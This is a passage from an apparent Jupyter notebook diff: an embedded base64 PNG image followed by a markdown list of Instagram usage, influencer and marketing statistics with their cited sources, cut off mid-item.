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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Other Key Instagram Statistics :\n", + "![image-2.png](attachment:image-2.png)\n", + "\n", + "### [1] . Instagram MAUs estimated at 1.15 billion in October 2020 (Hootsuite/We Are Social)\n", + "\n", + "### [2] . 51% of the global Instagram user base are female, 49% male (Hootsuite/We Are Social)\n", + "\n", + "### [3] . 69% of global internet users in selected markets are Instagram users, 66% are users (GlobalWebIndex)\n", + "\n", + "### [4] . Instagram downloaded 425 million times in 2019, putting it fifth in terms of overall downloads (Sensor \n", + "### Tower)\n", + "\n", + "### [5] . Around 135 million Instagram downloads in Q3 2020, following on from 140 million in Q2 2020, again \n", + "### putting it fifth in terms of global downloads (Sensor Tower)\n", + "\n", + "### [6] . Instagram was the fourth most-downloaded app of the 2010s (App Annie)\n", + "\n", + "### [7] . 25% of US teenagers say Instagram is their favourite social media, down from 35% in 2019 after being \n", + "### overtaken by TikTok (Marketing Charts)\n", + "\n", + "### [8] . 84% of US teens use Instagram (Marketing Charts)\n", + "\n", + "### [9] . 41% of Instagram users don’t watch television on any sort of regular basis (Facebook)\n", + "\n", + "### [10] . Only 7 millions downloads of IGTV in the first 18 months (TechCrunch\n", + "\n", + "### [11] . 26% of Millennial and Gen Z internet users in the US/UK use Instagram Live (GlobalWebIndex)\n", + "\n", + "### [12] . 95 million pictures posted to Instagram every day as of June 2016 (Wired)\n", + "\n", + "### [13] . Average users posts to their main feed once per day (Locowise via Hootsuite/We Are Social)\n", + "\n", + "### [14] . Average Instagram post has 10.7 hashtags, though 50% of posts use fewer than six (HubSpot)\n", + "\n", + "### [15] . Most-used hashtag is #love, with over 2.1 million uses (in an analysis of 80 million posts), followed by \n", + "### #photography and #instagood, with a little under 1.5 million each (HubSpot)\n", + "\n", + "### [16] . Hashtag with highest average engagement is #tbt, with nearly 400 interactions, followed by #hair (just \n", + "### under 350), and #dance (~275) (HubSpot)\n", + "\n", + "### [17] . Median Instagram brand profile interactions per posts are 188 for carousels, ~140 for imagines, and ~95 \n", + "### for video (Socialbakers)\n", + "\n", + "### [18] . Rupert Grint reached 1 million followers in 4 hours 1 minute, the current record for reaching this \n", + "### milestone (Guinness World Records)\n", + "\n", + "### [19] . Influencer marketing industry worth 9.7 billion in 2020 (Influencer Marketing Hub)\n", + "\n", + "### [20] . Most-followed demographic influencer demographic is females aged 25-34, who claim nearly 25% of \n", + "### Instagram influencer followers (Socialbakers)\n", + "\n", + "### [21] . Female influencers aged 18-34 claim over 50% of influencer interactions and 45% of influencer followers \n", + "### (Socialbakers)\n", + "\n", + "### [22] . More than 90% of influencer marketing campaigns use Instagram (Influencer Marketing Hub)\n", + "\n", + "### [23] . 10.6% increase in number of influencers using of #ad hashtag between Q3 2019 and Q3 2020; 30% \n", + "### decline between April 2019 and April 2020; 60% increase registered between Q3 2018 and Q3 2019 (Socialbakers)\n", + "\n", + "### [24]. 33.3% influencers working with brands have fewer than 10,000 followers; these XS influencers account \n", + "### for 31.9% of posts using #ad (Socialbakers)\n", + "\n", + "### [25]. 93.9% of brand partnerships are with influencers with fewer than 100,000 followers; this varies between \n", + "### regions: from 92.3% in North America to 95.9% in Latin America (Socialbakers)\n", + "\n", + "### [26]. 15% of macro influencers (over 1 million followers) use #ad, compared to only 1.3% of micro influencers \n", + "### (under 10,000 followers) (Socialbakers)\n", + "\n", + "### [27] . 17% of Instagram users have clicked on a brand tagged by a brand/seller (GlobalWebIndex)\n", + "\n", + "### [28] . 14% of Instagram users have clicked on a sponsored post (GlobalWebIndex)\n", + "\n", + "### [29] . Median Instagram post engagement levels for branded posts is 1.6%, say Sprout Social (Sprout Social)\n", + "\n", + "### [30] . Trust Insights reports average engagement levels of 0.9% for branded content (Trust Insights)\n", + "\n", + "### [31] . Iconosquare give a more positive 4.7% engagement level for branded content (Iconosquare)\n", + "\n", + "### [32] . InfluencerDB pegs sponsored post engagement at 2.4% (InfluencerDB)\n", + "\n", + "### [33] . InfluencerDB finds 8.8% engagement for influencers with under 1,000, and 3.6% for those with over 1,000 \n", + "### (InfluencerDB)\n", + "\n", + "### [34] . Average Instagram brand campaign uses 726 influencers (InfluencerDB)\n", + "\n", + "### [35] . 78% of Millennials claim to be indifferent or averse to celebrity endorsements (eMarketer)\n", + "\n", + "### [36] . More 16-24-year-olds in the US, UK, and Germany (23%) believe Instagram is the social media channel \n", + "### most representative of society than any other (Takumi)\n", + "\n", + "### [37] . Fashion influencers account for 25% of sponsored posts (Socialbakers)\n", + "\n", + "### [38] . Somewhere between 80-91% of marketers believe influencer marketing is effective, depending on who \n", + "### you ask… ( Mediakix/Influencer Marketing Hub)\n", + "\n", + "### [39] . 72% of brand representatives believe that influencer marketing results in higher quality leads (Influencer \n", + "### Marketing Hub)\n", + "\n", + "### [40] . 66% of brands planned to increase their influencer marketing spend in 2020 (Influencer Marketing Hub)\n", + "\n", + "### [41] . 47% of influencer marketing spend goes on micro influencers, with 23% spent on celebrity influencers \n", + "### (Influencer Marketing Hub)\n", + "\n", + "### [42] .87% of marketers say Instagram is important to their marketing strategy (Influencer Marketing Hub)\n", + "\n", + "### [43] . Marketers can make 5.20 dollars for every 1dollar invested in influencer marketing (Influencer Marketing Hub)\n", + "\n", + "### [44] . 17% of marketers spend over 50% of their budget on influencer marketing (Mediakix)\n", + "\n", + "### [45] . 60% of marketers will spend over 50% of their influencer marketing budget on Instagram (Mediakix)\n", + "\n", + "### [46] . Global spend on influencer marketing is predicted to be worth somewhere between $5 billion and $10 \n", + "### billion by 2020 – rising as high as 15 billion by 2022 (Mediakix)\n", + "\n", + "### [47] . Daniel Wellington was the most influencer mentioned brand over 2018, with 20,000 mentions from over \n", + "### 7,000 influencers (using the #ad hashtag) – 